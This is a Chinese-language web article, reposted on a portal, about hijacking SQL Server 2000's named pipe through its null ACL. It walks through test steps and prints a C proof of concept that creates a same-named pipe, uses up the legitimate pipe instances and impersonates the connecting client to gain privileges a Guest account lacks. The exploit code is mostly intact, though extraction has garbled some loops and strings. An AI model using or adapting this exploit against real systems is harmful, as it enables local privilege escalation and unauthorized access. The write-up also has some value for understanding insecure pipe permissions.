分享
 
 
 

SQLSERVER2000通讯管道后复用劫持

王朝mssql·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

SQL SERVER 2000通讯中,允许使用有名管道来进行通讯,一般情况下是如此命名的:

默认实例:\.pipesqlquery

命名实例:\.pipeMSSQL$instancenamesqlquery

也可以通过1434 UDP进行查询获得这个管道名称

但是由于SQL SERVER 2000对于这个管道的ACL设置为NULL,导致任何用户的权限都可以对这个管道进行劫持,以前的劫持都是利用先停掉服务,再建立这个名字管道,然后再启动服务来复用自己已经建立了名字的管道,但实际上SQL SERVER 2000会判断是否已有同名管道,然后会取别的名字,而且低级权限的用户也启动和停止不了服务(除非是利用一些漏洞),但是实际上对管道的测试却发现:如果ACL设置成NULL的话,即使是后命名的管道,也可以劫持先命令的管道,只需要简单复用管道,然后自己建立几个管道的连接不释放(具体建立几个估计和真正的管道

建立时的实例个数有关,如在我的测试下,\.pipesqlquery只需要建立1个接可以劫持了,而\.pipelsass则需要4-5个之后才能劫持。不过\.pipelsass的ACL只能是管理员才能进行劫持)

如果攻击者复用了同名管道以后,建立起几个不释放的管道(消耗掉了正常管道的实例),然后再有客户发起的管道连接就进入了攻击者程序的管道监听流程,剩下的就是大家都知道的利用模拟函数获得发起者权限的老生常谈了:

下面就是一个简单的例子,实现对SQL SERVER 2000管道通讯的劫持

环境:SQL SERVER 2000+SP2

WIN2000 SERVER中文版+SP3

测试流程:

1。先建立SQL 服务器允许管道通讯,和集成WINDOWS 验证,添加一个具备高权限的允许SQL SERVER登陆的WINDOWS本机帐户,启动SQL SERVER服务

2。C盘下建立一个TEST.TXT文件,设置ACL为GUEST全部拒绝,其他人都许可

3。在另外一台机器B上,以添加的可以登陆SQL SERVER的服务器帐户登陆,然后设置客户端网络库只为管道(如果有多个,可能就会是随机选一个连接,而不肯定是管道进行通讯了)

4。然后用SQL SERVER企业管理器建立一个SQL SERVER的连接,使用集成WINDOWS验证

5。SQL SERVER这边的机器进入GUEST帐户运行下面C代码的程序,会显示先无法打开TEST.TXT文件,然后进行劫持,等待客户端管道连接

6。在机器B上,连接SQL SERVER,然后主机A的程序就会截获这个管道扮演高权限登陆用户,然后可以打开先没权限打开的文件。

当然这个攻击本身实际的意义可能不大,因为估计现在SQL SERVER用管道建立通讯的比较少,而且在都允许的情况下,一般会主动选择TCP方式进行连接,但同时说明了:一个缺乏很好ACL保护的管道,也可以用后发复用来进行劫持,这就减少了很多需要先停掉服务或预先预测的难题,在编写服务器端管道应用的时候也必须小心。

SQL SERVER 2000劫持代码

#include

#include

#include

#include

void main()

{

HANDLE pipea;

FILE * fp;

DWORD ret;

DWORD num;

HANDLE pipeb[100];

int i;

int dwSize ;

char szUser[256];

DWORD dwNumber = 0;

//先的测试,在GUEST权限下无法打开此文件

fp = fopen("C:\test.txt","w");

if(fp==NULL)

printf("now you don't open file;

");

//建立起一个同名管道,复用已存在的SQL SERVER的

pipea = CreateNamedPipe("\\.\pipe\sql\query",

PIPE_ACCESS_DUPLEX,

PIPE_TYPE_MESSAGE|PIPE_WAIT,

100,

2048,

2048,

NMPWAIT_USE_DEFAULT_WAIT,

NULL);

if(pipea ==INVALID_HANDLE_VALUE)

{

ret = GetLastError();

printf("error in createnamedpipe!code=%d

",ret);

return;

}

//损耗掉其他正常实例

if(WaitNamedPipe("\\.\pipe\sql\query",NMPWAIT_WAIT_FOREVER)==0)

{

printf("no this pipe

");

return;

}

//可以调整个数,SQL SERVER只需要调整一个就可以了

for(i=0;i

{

Sleep(20);

if((pipeb[i]=CreateFile("\\.\pipe\sql\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)

{

printf("open pipe failed

");

return;

}

//WriteFile(pipeb[i],"test1",5,&num,NULL);

//WriteFile(pipeb[i],"test2",5,&num,NULL);

}

//然后等待连接

ConnectNamedPipe (pipea, NULL);

ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);

//模拟连接进来的用户

ImpersonateNamedPipeClient (pipea);

dwSize = 256;

//获得用户信息

GetUserName(szUser, &dwSize);

printf ("Impersonating: %s

", szUser);

//然后再测试是否能打开这个文件,证明确实提升了权限

fp = fopen("C:\test.txt","w");

if(fp!=NULL)

printf("now you can open file

");

DisconnectNamedPipe(pipea);

CloseHandle(pipea);

for(i=0;i

CloseHandle(pipeb[i]);

return;

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有